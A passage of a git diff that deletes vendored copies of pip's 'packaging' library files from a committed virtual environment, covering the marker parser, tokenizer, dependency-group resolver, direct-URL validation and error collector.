-            tokenizer.raise_syntax_error("Expected comma between extra names")
-        elif not tokenizer.check("COMMA"):
-            break
-
-        tokenizer.read()
-        tokenizer.consume("WS")
-
-        extra_token = tokenizer.expect("IDENTIFIER", expected="extra name after comma")
-        extras.append(extra_token.text)
-
-    return extras
-
-
-def _parse_specifier(tokenizer: Tokenizer) -> str:
-    """
-    specifier = LEFT_PARENTHESIS WS? version_many WS? RIGHT_PARENTHESIS
-              | WS? version_many WS?
-    """
-    with tokenizer.enclosing_tokens(
-        "LEFT_PARENTHESIS",
-        "RIGHT_PARENTHESIS",
-        around="version specifier",
-    ):
-        tokenizer.consume("WS")
-        parsed_specifiers = _parse_version_many(tokenizer)
-        tokenizer.consume("WS")
-
-    return parsed_specifiers
-
-
-def _parse_version_many(tokenizer: Tokenizer) -> str:
-    """
-    version_many = (SPECIFIER (WS? COMMA WS? SPECIFIER)*)?
-    """
-    parsed_specifiers = ""
-    while tokenizer.check("SPECIFIER"):
-        span_start = tokenizer.position
-        parsed_specifiers += tokenizer.read().text
-        if tokenizer.check("VERSION_PREFIX_TRAIL", peek=True):
-            tokenizer.raise_syntax_error(
-                ".* suffix can only be used with `==` or `!=` operators",
-                span_start=span_start,
-                span_end=tokenizer.position + 1,
-            )
-        if tokenizer.check("VERSION_LOCAL_LABEL_TRAIL", peek=True):
-            tokenizer.raise_syntax_error(
-                "Local version label can only be used with `==` or `!=` operators",
-                span_start=span_start,
-                span_end=tokenizer.position,
-            )
-        tokenizer.consume("WS")
-        if not tokenizer.check("COMMA"):
-            break
-        parsed_specifiers += tokenizer.read().text
-        tokenizer.consume("WS")
-
-    return parsed_specifiers
-
-
-# --------------------------------------------------------------------------------------
-# Recursive descent parser for marker expression
-# --------------------------------------------------------------------------------------
-def parse_marker(source: str) -> MarkerList:
-    return _parse_full_marker(Tokenizer(source, rules=DEFAULT_RULES))
-
-
-def _parse_full_marker(tokenizer: Tokenizer) -> MarkerList:
-    retval = _parse_marker(tokenizer)
-    tokenizer.expect("END", expected="end of marker expression")
-    return retval
-
-
-def _parse_marker(tokenizer: Tokenizer) -> MarkerList:
-    """
-    marker = marker_atom (BOOLOP marker_atom)+
-    """
-    expression = [_parse_marker_atom(tokenizer)]
-    while tokenizer.check("BOOLOP"):
-        token = tokenizer.read()
-        expr_right = _parse_marker_atom(tokenizer)
-        expression.extend((token.text, expr_right))
-    return expression
-
-
-def _parse_marker_atom(tokenizer: Tokenizer) -> MarkerAtom:
-    """
-    marker_atom = WS? LEFT_PARENTHESIS WS? marker WS? RIGHT_PARENTHESIS WS?
-                | WS? marker_item WS?
-    """
-
-    tokenizer.consume("WS")
-    if tokenizer.check("LEFT_PARENTHESIS", peek=True):
-        with tokenizer.enclosing_tokens(
-            "LEFT_PARENTHESIS",
-            "RIGHT_PARENTHESIS",
-            around="marker expression",
-        ):
-            tokenizer.consume("WS")
-            marker: MarkerAtom = _parse_marker(tokenizer)
-            tokenizer.consume("WS")
-    else:
-        marker = _parse_marker_item(tokenizer)
-    tokenizer.consume("WS")
-    return marker
-
-
-def _parse_marker_item(tokenizer: Tokenizer) -> MarkerItem:
-    """
-    marker_item = WS? marker_var WS? marker_op WS? marker_var WS?
-    """
-    tokenizer.consume("WS")
-    marker_var_left = _parse_marker_var(tokenizer)
-    tokenizer.consume("WS")
-    marker_op = _parse_marker_op(tokenizer)
-    tokenizer.consume("WS")
-    marker_var_right = _parse_marker_var(tokenizer)
-    tokenizer.consume("WS")
-    return (marker_var_left, marker_op, marker_var_right)
-
-
-def _parse_marker_var(tokenizer: Tokenizer) -> MarkerVar:  # noqa: RET503
-    """
-    marker_var = VARIABLE | QUOTED_STRING
-    """
-    if tokenizer.check("VARIABLE"):
-        return process_env_var(tokenizer.read().text.replace(".", "_"))
-    elif tokenizer.check("QUOTED_STRING"):
-        return process_python_str(tokenizer.read().text)
-    else:
-        tokenizer.raise_syntax_error(
-            message="Expected a marker variable or quoted string"
-        )
-
-
-def process_env_var(env_var: str) -> Variable:
-    if env_var in ("platform_python_implementation", "python_implementation"):
-        return Variable("platform_python_implementation")
-    else:
-        return Variable(env_var)
-
-
-def process_python_str(python_str: str) -> Value:
-    value = ast.literal_eval(python_str)
-    return Value(str(value))
-
-
-def _parse_marker_op(tokenizer: Tokenizer) -> Op:
-    """
-    marker_op = IN | NOT IN | OP
-    """
-    if tokenizer.check("IN"):
-        tokenizer.read()
-        return Op("in")
-    elif tokenizer.check("NOT"):
-        tokenizer.read()
-        tokenizer.expect("WS", expected="whitespace after 'not'")
-        tokenizer.expect("IN", expected="'in' after 'not'")
-        return Op("not in")
-    elif tokenizer.check("OP"):
-        return Op(tokenizer.read().text)
-    else:
-        return tokenizer.raise_syntax_error(
-            "Expected marker operator, one of <=, <, !=, ==, >=, >, ~=, ===, in, not in"
-        )
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/_structures.py b/venv/Lib/site-packages/pip/_vendor/packaging/_structures.py
deleted file mode 100644
index 4306784d9a26466aa0a210cb2f262903c67d46ca..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/_structures.py
+++ /dev/null
@@ -1,33 +0,0 @@
-# This file is dual licensed under the terms of the Apache License, Version
-# 2.0, and the BSD License. See the LICENSE file in the root of this repository
-# for complete details.
-
-"""Backward-compatibility shim for unpickling Version objects serialized before
-packaging 26.1.
-
-Old pickles reference ``packaging._structures.InfinityType`` and
-``packaging._structures.NegativeInfinityType``.  This module provides minimal
-stand-in classes so that ``pickle.loads()`` can resolve those references.
-The deserialized objects are not used for comparisons — ``Version.__setstate__``
-discards the stale ``_key`` cache and recomputes it from the core version fields.
-"""
-
-from __future__ import annotations
-
-
-class InfinityType:
-    """Stand-in for the removed ``InfinityType`` used in old comparison keys."""
-
-    def __repr__(self) -> str:
-        return "Infinity"
-
-
-class NegativeInfinityType:
-    """Stand-in for the removed ``NegativeInfinityType`` used in old comparison keys."""
-
-    def __repr__(self) -> str:
-        return "-Infinity"
-
-
-Infinity = InfinityType()
-NegativeInfinity = NegativeInfinityType()
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/_tokenizer.py b/venv/Lib/site-packages/pip/_vendor/packaging/_tokenizer.py
deleted file mode 100644
index 5ab891ccb8e9048cf64573ca303357efe6afae32..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/_tokenizer.py
+++ /dev/null
@@ -1,193 +0,0 @@
-from __future__ import annotations
-
-import contextlib
-import re
-from dataclasses import dataclass
-from typing import Generator, Mapping, NoReturn
-
-from .specifiers import Specifier
-
-
-@dataclass
-class Token:
-    name: str
-    text: str
-    position: int
-
-
-class ParserSyntaxError(Exception):
-    """The provided source text could not be parsed correctly."""
-
-    def __init__(
-        self,
-        message: str,
-        *,
-        source: str,
-        span: tuple[int, int],
-    ) -> None:
-        self.span = span
-        self.message = message
-        self.source = source
-
-        super().__init__()
-
-    def __str__(self) -> str:
-        marker = " " * self.span[0] + "~" * (self.span[1] - self.span[0]) + "^"
-        return f"{self.message}\n    {self.source}\n    {marker}"
-
-
-DEFAULT_RULES: dict[str, re.Pattern[str]] = {
-    "LEFT_PARENTHESIS": re.compile(r"\("),
-    "RIGHT_PARENTHESIS": re.compile(r"\)"),
-    "LEFT_BRACKET": re.compile(r"\["),
-    "RIGHT_BRACKET": re.compile(r"\]"),
-    "SEMICOLON": re.compile(r";"),
-    "COMMA": re.compile(r","),
-    "QUOTED_STRING": re.compile(
-        r"""
-            (
-                ('[^']*')
-                |
-                ("[^"]*")
-            )
-        """,
-        re.VERBOSE,
-    ),
-    "OP": re.compile(r"(===|==|~=|!=|<=|>=|<|>)"),
-    "BOOLOP": re.compile(r"\b(or|and)\b"),
-    "IN": re.compile(r"\bin\b"),
-    "NOT": re.compile(r"\bnot\b"),
-    "VARIABLE": re.compile(
-        r"""
-            \b(
-                python_version
-                |python_full_version
-                |os[._]name
-                |sys[._]platform
-                |platform_(release|system)
-                |platform[._](version|machine|python_implementation)
-                |python_implementation
-                |implementation_(name|version)
-                |extras?
-                |dependency_groups
-            )\b
-        """,
-        re.VERBOSE,
-    ),
-    "SPECIFIER": re.compile(
-        Specifier._specifier_regex_str,
-        re.VERBOSE | re.IGNORECASE,
-    ),
-    "AT": re.compile(r"\@"),
-    "URL": re.compile(r"[^ \t]+"),
-    "IDENTIFIER": re.compile(r"\b[a-zA-Z0-9][a-zA-Z0-9._-]*\b"),
-    "VERSION_PREFIX_TRAIL": re.compile(r"\.\*"),
-    "VERSION_LOCAL_LABEL_TRAIL": re.compile(r"\+[a-z0-9]+(?:[-_\.][a-z0-9]+)*"),
-    "WS": re.compile(r"[ \t]+"),
-    "END": re.compile(r"$"),
-}
-
-
-class Tokenizer:
-    """Context-sensitive token parsing.
-
-    Provides methods to examine the input stream to check whether the next token
-    matches.
-    """
-
-    def __init__(
-        self,
-        source: str,
-        *,
-        rules: Mapping[str, re.Pattern[str]],
-    ) -> None:
-        self.source = source
-        self.rules = rules
-        self.next_token: Token | None = None
-        self.position = 0
-
-    def consume(self, name: str) -> None:
-        """Move beyond provided token name, if at current position."""
-        if self.check(name):
-            self.read()
-
-    def check(self, name: str, *, peek: bool = False) -> bool:
-        """Check whether the next token has the provided name.
-
-        By default, if the check succeeds, the token *must* be read before
-        another check. If `peek` is set to `True`, the token is not loaded and
-        would need to be checked again.
-        """
-        assert self.next_token is None, (
-            f"Cannot check for {name!r}, already have {self.next_token!r}"
-        )
-        assert name in self.rules, f"Unknown token name: {name!r}"
-
-        expression = self.rules[name]
-
-        match = expression.match(self.source, self.position)
-        if match is None:
-            return False
-        if not peek:
-            self.next_token = Token(name, match[0], self.position)
-        return True
-
-    def expect(self, name: str, *, expected: str) -> Token:
-        """Expect a certain token name next, failing with a syntax error otherwise.
-
-        The token is *not* read.
-        """
-        if not self.check(name):
-            raise self.raise_syntax_error(f"Expected {expected}")
-        return self.read()
-
-    def read(self) -> Token:
-        """Consume the next token and return it."""
-        token = self.next_token
-        assert token is not None
-
-        self.position += len(token.text)
-        self.next_token = None
-
-        return token
-
-    def raise_syntax_error(
-        self,
-        message: str,
-        *,
-        span_start: int | None = None,
-        span_end: int | None = None,
-    ) -> NoReturn:
-        """Raise ParserSyntaxError at the given position."""
-        span = (
-            self.position if span_start is None else span_start,
-            self.position if span_end is None else span_end,
-        )
-        raise ParserSyntaxError(
-            message,
-            source=self.source,
-            span=span,
-        )
-
-    @contextlib.contextmanager
-    def enclosing_tokens(
-        self, open_token: str, close_token: str, *, around: str
-    ) -> Generator[None, None, None]:
-        if self.check(open_token):
-            open_position = self.position
-            self.read()
-        else:
-            open_position = None
-
-        yield
-
-        if open_position is None:
-            return
-
-        if not self.check(close_token):
-            self.raise_syntax_error(
-                f"Expected matching {close_token} for {open_token}, after {around}",
-                span_start=open_position,
-            )
-
-        self.read()
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/dependency_groups.py b/venv/Lib/site-packages/pip/_vendor/packaging/dependency_groups.py
deleted file mode 100644
index 413e5cb4b40d734564b99092320bb58a8f3c2c2b..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/dependency_groups.py
+++ /dev/null
@@ -1,302 +0,0 @@
-from __future__ import annotations
-
-import re
-from collections.abc import Mapping, Sequence
-
-from .errors import _ErrorCollector
-from .requirements import Requirement
-
-__all__ = [
-    "CyclicDependencyGroup",
-    "DependencyGroupInclude",
-    "DependencyGroupResolver",
-    "DuplicateGroupNames",
-    "InvalidDependencyGroupObject",
-    "resolve_dependency_groups",
-]
-
-
-def __dir__() -> list[str]:
-    return __all__
-
-
-# -----------
-# Error Types
-# -----------
-
-
-class DuplicateGroupNames(ValueError):
-    """
-    The same dependency groups were defined twice, with different non-normalized names.
-    """
-
-
-class CyclicDependencyGroup(ValueError):
-    """
-    The dependency group includes form a cycle.
-    """
-
-    def __init__(self, requested_group: str, group: str, include_group: str) -> None:
-        self.requested_group = requested_group
-        self.group = group
-        self.include_group = include_group
-
-        if include_group == group:
-            reason = f"{group} includes itself"
-        else:
-            reason = f"{include_group} -> {group}, {group} -> {include_group}"
-        super().__init__(
-            "Cyclic dependency group include while resolving "
-            f"{requested_group}: {reason}"
-        )
-
-
-# in the PEP 735 spec, the tables in dependency group lists were described as
-# "Dependency Object Specifiers", but the only defined type of object was a
-# "Dependency Group Include" -- hence the naming of this error as "Object"
-class InvalidDependencyGroupObject(ValueError):
-    """
-    A member of a dependency group was identified as a dict, but was not in a valid
-    format.
-    """
-
-
-# ------------------------
-# Object Model & Interface
-# ------------------------
-
-
-class DependencyGroupInclude:
-    __slots__ = ("include_group",)
-
-    def __init__(self, include_group: str) -> None:
-        """
-        Initialize a DependencyGroupInclude.
-
-        :param include_group: The name of the group referred to by this include.
-        """
-        self.include_group = include_group
-
-    def __repr__(self) -> str:
-        return f"{self.__class__.__name__}({self.include_group!r})"
-
-
-class DependencyGroupResolver:
-    """
-    A resolver for Dependency Group data.
-
-    This class handles caching, name normalization, cycle detection, and other
-    parsing requirements. There are only two public methods for exploring the data:
-    ``lookup()`` and ``resolve()``.
-
-    :param dependency_groups: A mapping, as provided via pyproject
-        ``[dependency-groups]``.
-    """
-
-    def __init__(
-        self,
-        dependency_groups: Mapping[str, Sequence[str | Mapping[str, str]]],
-    ) -> None:
-        errors = _ErrorCollector()
-
-        self.dependency_groups = _normalize_group_names(dependency_groups, errors)
-
-        # a map of group names to parsed data
-        self._parsed_groups: dict[
-            str, tuple[Requirement | DependencyGroupInclude, ...]
-        ] = {}
-        # a map of group names to their ancestors, used for cycle detection
-        self._include_graph_ancestors: dict[str, tuple[str, ...]] = {}
-        # a cache of completed resolutions to Requirement lists
-        self._resolve_cache: dict[str, tuple[Requirement, ...]] = {}
-
-        errors.finalize("[dependency-groups] data was invalid")
-
-    def lookup(self, group: str) -> tuple[Requirement | DependencyGroupInclude, ...]:
-        """
-        Lookup a group name, returning the parsed dependency data for that group.
-        This will not resolve includes.
-
-        :param group: the name of the group to lookup
-        """
-        group = _normalize_name(group)
-
-        with _ErrorCollector().on_exit(
-            f"[dependency-groups] data for {group!r} was malformed"
-        ) as errors:
-            return self._parse_group(group, errors)
-
-    def resolve(self, group: str) -> tuple[Requirement, ...]:
-        """
-        Resolve a dependency group to a list of requirements.
-
-        :param group: the name of the group to resolve
-        """
-        group = _normalize_name(group)
-
-        with _ErrorCollector().on_exit(
-            f"[dependency-groups] data for {group!r} was malformed"
-        ) as errors:
-            return self._resolve(group, group, errors)
-
-    def _resolve(
-        self, group: str, requested_group: str, errors: _ErrorCollector
-    ) -> tuple[Requirement, ...]:
-        """
-        This is a helper for cached resolution to strings. It preserves the name of the
-        group which the user initially requested in order to present a clearer error in
-        the event that a cycle is detected.
-
-        :param group: The normalized name of the group to resolve.
-        :param requested_group: The group which was used in the original, user-facing
-            request.
-        """
-        if group in self._resolve_cache:
-            return self._resolve_cache[group]
-
-        parsed = self._parse_group(group, errors)
-
-        resolved_group = []
-
-        for item in parsed:
-            if isinstance(item, Requirement):
-                resolved_group.append(item)
-            elif isinstance(item, DependencyGroupInclude):
-                include_group = _normalize_name(item.include_group)
-
-                # if a group is cyclic, record the error
-                # otherwise, follow the include_group reference
-                #
-                # this allows us to examine all includes in a group, even in the
-                # presence of errors
-                if include_group in self._include_graph_ancestors.get(group, ()):
-                    errors.error(
-                        CyclicDependencyGroup(
-                            requested_group, group, item.include_group
-                        )
-                    )
-                else:
-                    self._include_graph_ancestors[include_group] = (
-                        *self._include_graph_ancestors.get(group, ()),
-                        group,
-                    )
-                    resolved_group.extend(
-                        self._resolve(include_group, requested_group, errors)
-                    )
-            else:  # pragma: no cover
-                raise NotImplementedError(
-                    f"Invalid dependency group item after parse: {item}"
-                )
-
-        # in the event that errors were detected, present the group as empty and do not
-        # cache the result
-        # this ensures that repeated access to a cyclic group will raise multiple errors
-        if errors.errors:
-            return ()
-
-        self._resolve_cache[group] = tuple(resolved_group)
-        return self._resolve_cache[group]
-
-    def _parse_group(
-        self, group: str, errors: _ErrorCollector
-    ) -> tuple[Requirement | DependencyGroupInclude, ...]:
-        # short circuit -- never do the work twice
-        if group in self._parsed_groups:
-            return self._parsed_groups[group]
-
-        if group not in self.dependency_groups:
-            errors.error(LookupError(f"Dependency group '{group}' not found"))
-            return ()
-
-        raw_group = self.dependency_groups[group]
-        if isinstance(raw_group, str):
-            errors.error(
-                TypeError(
-                    f"Dependency group {group!r} contained a string rather than a list."
-                )
-            )
-            return ()
-
-        if not isinstance(raw_group, Sequence):
-            errors.error(
-                TypeError(f"Dependency group {group!r} is not a sequence type.")
-            )
-            return ()
-
-        elements: list[Requirement | DependencyGroupInclude] = []
-        for item in raw_group:
-            if isinstance(item, str):
-                # packaging.requirements.Requirement parsing ensures that this is a
-                # valid PEP 508 Dependency Specifier
-                # raises InvalidRequirement on failure
-                elements.append(Requirement(item))
-            elif isinstance(item, Mapping):
-                if tuple(item.keys()) != ("include-group",):
-                    errors.error(
-                        InvalidDependencyGroupObject(
-                            f"Invalid dependency group item: {item!r}"
-                        )
-                    )
-                else:
-                    include_group = item["include-group"]
-                    elements.append(DependencyGroupInclude(include_group=include_group))
-            else:
-                errors.error(TypeError(f"Invalid dependency group item: {item!r}"))
-
-        self._parsed_groups[group] = tuple(elements)
-        return self._parsed_groups[group]
-
-
-# --------------------
-# Functional Interface
-# --------------------
-
-
-def resolve_dependency_groups(
-    dependency_groups: Mapping[str, Sequence[str | Mapping[str, str]]], /, *groups: str
-) -> tuple[str, ...]:
-    """
-    Resolve a dependency group to a tuple of requirements, as strings.
-
-    :param dependency_groups: the parsed contents of the ``[dependency-groups]`` table
-        from ``pyproject.toml``
-    :param groups: the name of the group(s) to resolve
-    """
-    resolver = DependencyGroupResolver(dependency_groups)
-    return tuple(str(r) for group in groups for r in resolver.resolve(group))
-
-
-# ----------------
-# internal helpers
-# ----------------
-
-
-_NORMALIZE_PATTERN = re.compile(r"[-_.]+")
-
-
-def _normalize_name(name: str) -> str:
-    return _NORMALIZE_PATTERN.sub("-", name).lower()
-
-
-def _normalize_group_names(
-    dependency_groups: Mapping[str, Sequence[str | Mapping[str, str]]],
-    errors: _ErrorCollector,
-) -> dict[str, Sequence[str | Mapping[str, str]]]:
-    original_names: dict[str, list[str]] = {}
-    normalized_groups: dict[str, Sequence[str | Mapping[str, str]]] = {}
-
-    for group_name, value in dependency_groups.items():
-        normed_group_name = _normalize_name(group_name)
-        original_names.setdefault(normed_group_name, []).append(group_name)
-        normalized_groups[normed_group_name] = value
-
-    for normed_name, names in original_names.items():
-        if len(names) > 1:
-            errors.error(
-                DuplicateGroupNames(
-                    "Duplicate dependency group names: "
-                    f"{normed_name} ({', '.join(names)})"
-                )
-            )
-
-    return normalized_groups
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/direct_url.py b/venv/Lib/site-packages/pip/_vendor/packaging/direct_url.py
deleted file mode 100644
index 5d1c56ca9d6fcd92111b0a86258853224509abb0..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/direct_url.py
+++ /dev/null
@@ -1,325 +0,0 @@
-from __future__ import annotations
-
-import dataclasses
-import re
-import urllib.parse
-from collections.abc import Mapping
-from typing import TYPE_CHECKING, Any, Protocol, TypeVar
-
-if TYPE_CHECKING:  # pragma: no cover
-    import sys
-    from collections.abc import Collection
-
-    if sys.version_info >= (3, 11):
-        from typing import Self
-    else:
-        from typing_extensions import Self
-
-__all__ = [
-    "ArchiveInfo",
-    "DirInfo",
-    "DirectUrl",
-    "DirectUrlValidationError",
-    "VcsInfo",
-]
-
-
-def __dir__() -> list[str]:
-    return __all__
-
-
-_T = TypeVar("_T")
-
-
-class _FromMappingProtocol(Protocol):  # pragma: no cover
-    @classmethod
-    def _from_dict(cls, d: Mapping[str, Any]) -> Self: ...
-
-
-_FromMappingProtocolT = TypeVar("_FromMappingProtocolT", bound=_FromMappingProtocol)
-
-
-def _json_dict_factory(data: list[tuple[str, Any]]) -> dict[str, Any]:
-    return {key: value for key, value in data if value is not None}
-
-
-def _get(d: Mapping[str, Any], expected_type: type[_T], key: str) -> _T | None:
-    """Get a value from the dictionary and verify it's the expected type."""
-    if (value := d.get(key)) is None:
-        return None
-    if not isinstance(value, expected_type):
-        raise DirectUrlValidationError(
-            f"Unexpected type {type(value).__name__} "
-            f"(expected {expected_type.__name__})",
-            context=key,
-        )
-    return value
-
-
-def _get_required(d: Mapping[str, Any], expected_type: type[_T], key: str) -> _T:
-    """Get a required value from the dictionary and verify it's the expected type."""
-    if (value := _get(d, expected_type, key)) is None:
-        raise _DirectUrlRequiredKeyError(key)
-    return value
-
-
-def _get_object(
-    d: Mapping[str, Any], target_type: type[_FromMappingProtocolT], key: str
-) -> _FromMappingProtocolT | None:
-    """Get a dictionary value from the dictionary and convert it to a dataclass."""
-    if (value := _get(d, Mapping, key)) is None:  # type: ignore[type-abstract]
-        return None
-    try:
-        return target_type._from_dict(value)
-    except Exception as e:
-        raise DirectUrlValidationError(e, context=key) from e
-
-
-_PEP610_USER_PASS_ENV_VARS_REGEX = re.compile(
-    r"^\$\{[A-Za-z0-9-_]+\}(:\$\{[A-Za-z0-9-_]+\})?$"
-)
-
-
-def _strip_auth_from_netloc(netloc: str, safe_user_passwords: Collection[str]) -> str:
-    if "@" not in netloc:
-        return netloc
-    user_pass, netloc_no_user_pass = netloc.split("@", 1)
-    if user_pass in safe_user_passwords:
-        return netloc
-    if _PEP610_USER_PASS_ENV_VARS_REGEX.match(user_pass):
-        return netloc
-    return netloc_no_user_pass
-
-
-def _strip_url(url: str, safe_user_passwords: Collection[str]) -> str:
-    """url with user:password part removed unless it is formed with
-    environment variables as specified in PEP 610, or it is a safe user:password
-    such as `git`.
-    """
-    parsed_url = urllib.parse.urlsplit(url)
-    netloc = _strip_auth_from_netloc(parsed_url.netloc, safe_user_passwords)
-    return urllib.parse.urlunsplit(
-        (
-            parsed_url.scheme,
-            netloc,
-            parsed_url.path,
-            parsed_url.query,
-            parsed_url.fragment,
-        )
-    )
-
-
-class DirectUrlValidationError(Exception):
-    """Raised when when input data is not spec-compliant."""
-
-    context: str | None = None
-    message: str
-
-    def __init__(
-        self,
-        cause: str | Exception,
-        *,
-        context: str | None = None,
-    ) -> None:
-        if isinstance(cause, DirectUrlValidationError):
-            if cause.context:
-                self.context = (
-                    f"{context}.{cause.context}" if context else cause.context
-                )
-            else:
-                self.context = context  # pragma: no cover
-            self.message = cause.message
-        else:
-            self.context = context
-            self.message = str(cause)
-
-    def __str__(self) -> str:
-        if self.context:
-            return f"{self.message} in {self.context!r}"
-        return self.message
-
-
-class _DirectUrlRequiredKeyError(DirectUrlValidationError):
-    def __init__(self, key: str) -> None:
-        super().__init__("Missing required value", context=key)
-
-
-@dataclasses.dataclass(frozen=True, init=False)
-class VcsInfo:
-    vcs: str
-    commit_id: str
-    requested_revision: str | None = None
-
-    def __init__(
-        self,
-        *,
-        vcs: str,
-        commit_id: str,
-        requested_revision: str | None = None,
-    ) -> None:
-        object.__setattr__(self, "vcs", vcs)
-        object.__setattr__(self, "commit_id", commit_id)
-        object.__setattr__(self, "requested_revision", requested_revision)
-
-    @classmethod
-    def _from_dict(cls, d: Mapping[str, Any]) -> Self:
-        # We can't validate vcs value because is not closed.
-        return cls(
-            vcs=_get_required(d, str, "vcs"),
-            requested_revision=_get(d, str, "requested_revision"),
-            commit_id=_get_required(d, str, "commit_id"),
-        )
-
-
-@dataclasses.dataclass(frozen=True, init=False)
-class ArchiveInfo:
-    hashes: Mapping[str, str] | None = None
-
-    def __init__(
-        self,
-        *,
-        hashes: Mapping[str, str] | None = None,
-    ) -> None:
-        object.__setattr__(self, "hashes", hashes)
-
-    @classmethod
-    def _from_dict(cls, d: Mapping[str, Any]) -> Self:
-        hashes = _get(d, Mapping, "hashes")  # type: ignore[type-abstract]
-        if hashes is not None and not all(isinstance(h, str) for h in hashes.values()):
-            raise DirectUrlValidationError(
-                "Hash values must be strings", context="hashes"
-            )
-        legacy_hash = _get(d, str, "hash")
-        if legacy_hash is not None:
-            if "=" not in legacy_hash:
-                raise DirectUrlValidationError(
-                    "Invalid hash format (expected '=')",
-                    context="hash",
-                )
-            hash_algorithm, hash_value = legacy_hash.split("=", 1)
-            if hashes is None:
-                # if `hashes` are not present, we can derive it from the legacy `hash`
-                hashes = {hash_algorithm: hash_value}
-            else:
-                # if `hashes` are present, the legacy `hash` must match one of them
-                if hash_algorithm not in hashes:
-                    raise DirectUrlValidationError(
-                        f"Algorithm {hash_algorithm!r} used in hash field "
-                        f"is not present in hashes field",
-                        context="hashes",
-                    )
-                if hashes[hash_algorithm] != hash_value:
-                    raise DirectUrlValidationError(
-                        f"Algorithm {hash_algorithm!r} used in hash field "
-                        f"has different value in hashes field",
-                        context="hash",
-                    )
-        return cls(hashes=hashes)
-
-
-@dataclasses.dataclass(frozen=True, init=False)
-class DirInfo:
-    editable: bool | None = None
-
-    def __init__(
-        self,
-        *,
-        editable: bool | None = None,
-    ) -> None:
-        object.__setattr__(self, "editable", editable)
-
-    @classmethod
-    def _from_dict(cls, d: Mapping[str, Any]) -> Self:
-        return cls(
-            editable=_get(d, bool, "editable"),
-        )
-
-
-@dataclasses.dataclass(frozen=True, init=False)
-class DirectUrl:
-    """A class representing a direct URL."""
-
-    url: str
-    archive_info: ArchiveInfo | None = None
-    vcs_info: VcsInfo | None = None
-    dir_info: DirInfo | None = None
-    subdirectory: str | None = None  # XXX Path or str?
-
-    def __init__(
-        self,
-        *,
-        url: str,
-        archive_info: ArchiveInfo | None = None,
-        vcs_info: VcsInfo | None = None,
-        dir_info: DirInfo | None = None,
-        subdirectory: str | None = None,
-    ) -> None:
-        object.__setattr__(self, "url", url)
-        object.__setattr__(self, "archive_info", archive_info)
-        object.__setattr__(self, "vcs_info", vcs_info)
-        object.__setattr__(self, "dir_info", dir_info)
-        object.__setattr__(self, "subdirectory", subdirectory)
-
-    @classmethod
-    def _from_dict(cls, d: Mapping[str, Any]) -> Self:
-        direct_url = cls(
-            url=_get_required(d, str, "url"),
-            archive_info=_get_object(d, ArchiveInfo, "archive_info"),
-            vcs_info=_get_object(d, VcsInfo, "vcs_info"),
-            dir_info=_get_object(d, DirInfo, "dir_info"),
-            subdirectory=_get(d, str, "subdirectory"),
-        )
-        if (
-            bool(direct_url.vcs_info)
-            + bool(direct_url.archive_info)
-            + bool(direct_url.dir_info)
-        ) != 1:
-            raise DirectUrlValidationError(
-                "Exactly one of vcs_info, archive_info, dir_info must be present"
-            )
-        if direct_url.dir_info is not None and not direct_url.url.startswith("file://"):
-            raise DirectUrlValidationError(
-                "URL scheme must be file:// when dir_info is present",
-                context="url",
-            )
-        # XXX subdirectory must be relative, can we, should we validate that here?
-        return direct_url
-
-    @classmethod
-    def from_dict(cls, d: Mapping[str, Any], /) -> Self:
-        """Create and validate a DirectUrl instance from a JSON dictionary."""
-        return cls._from_dict(d)
-
-    def to_dict(
-        self,
-        *,
-        generate_legacy_hash: bool = False,
-        strip_user_password: bool = True,
-        safe_user_passwords: Collection[str] = ("git",),
-    ) -> Mapping[str, Any]:
-        """Convert the DirectUrl instance to a JSON dictionary.
-
-        :param generate_legacy_hash: If True, include a legacy `hash` field in
-            `archive_info` for backward compatibility with tools that don't
-            support the `hashes` field.
-        :param strip_user_password: If True, strip user:password from the URL
-            unless it is formed with environment variables as specified in PEP
-            610, or it is a safe user:password such as `git`.
-        :param safe_user_passwords: A collection of user:password strings that
-            should not be stripped from the URL even if `strip_user_password` is
-            True.
-        """
-        res = dataclasses.asdict(self, dict_factory=_json_dict_factory)
-        if generate_legacy_hash and self.archive_info and self.archive_info.hashes:
-            hash_algorithm, hash_value = next(iter(self.archive_info.hashes.items()))
-            res["archive_info"]["hash"] = f"{hash_algorithm}={hash_value}"
-        if strip_user_password:
-            res["url"] = _strip_url(self.url, safe_user_passwords)
-        return res
-
-    def validate(self) -> None:
-        """Validate the DirectUrl instance against the specification.
-
-        Raises :class:`DirectUrlValidationError` if invalid.
-        """
-        self.from_dict(self.to_dict())
diff --git a/venv/Lib/site-packages/pip/_vendor/packaging/errors.py b/venv/Lib/site-packages/pip/_vendor/packaging/errors.py
deleted file mode 100644
index d1d47cf6c3416179750bf5bf170aafe9d0fa6497..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/packaging/errors.py
+++ /dev/null
@@ -1,94 +0,0 @@
-from __future__ import annotations
-
-import contextlib
-import dataclasses
-import sys
-import typing
-
-__all__ = ["ExceptionGroup"]
-
-
-def __dir__() -> list[str]:
-    return __all__
-
-
-if sys.version_info >= (3, 11):  # pragma: no cover
-    from builtins import ExceptionGroup
-else:  # pragma: no cover
-
-    class ExceptionGroup(Exception):
-        """A minimal implementation of :external:exc:`ExceptionGroup` from Python 3.11.
-
-        If :external:exc:`ExceptionGroup` is already defined by Python itself,
-        that version is used instead.
-        """
-
-        message: str
-        exceptions: list[Exception]
-
-        def __init__(self, message: str, exceptions: list[Exception]) -> None:
-            self.message = message
-            self.exceptions = exceptions
-
-        def __repr__(self) -> str:
-            return f"{self.__class__.__name__}({self.message!r}, {self.exceptions!r})"
-
-
-@dataclasses.dataclass
-class _ErrorCollector:
-    """
-    Collect errors into ExceptionGroups.
-
-    Used like this:
-
-        collector = _ErrorCollector()
-        # Add a single exception
-        collector.error(ValueError("one"))
-
-        # Supports nesting, including combining ExceptionGroups
-        with collector.collect():
-            raise ValueError("two")
-        collector.finalize("Found some errors")
-
-    Since making a collector and then calling finalize later is a common pattern,
-    a convenience method ``on_exit`` is provided.
-    """
-
-    errors: list[Exception] = dataclasses.field(default_factory=list, init=False)
-
-    def finalize(self, msg: str) -> None:
-        """Raise a group exception if there are any errors."""
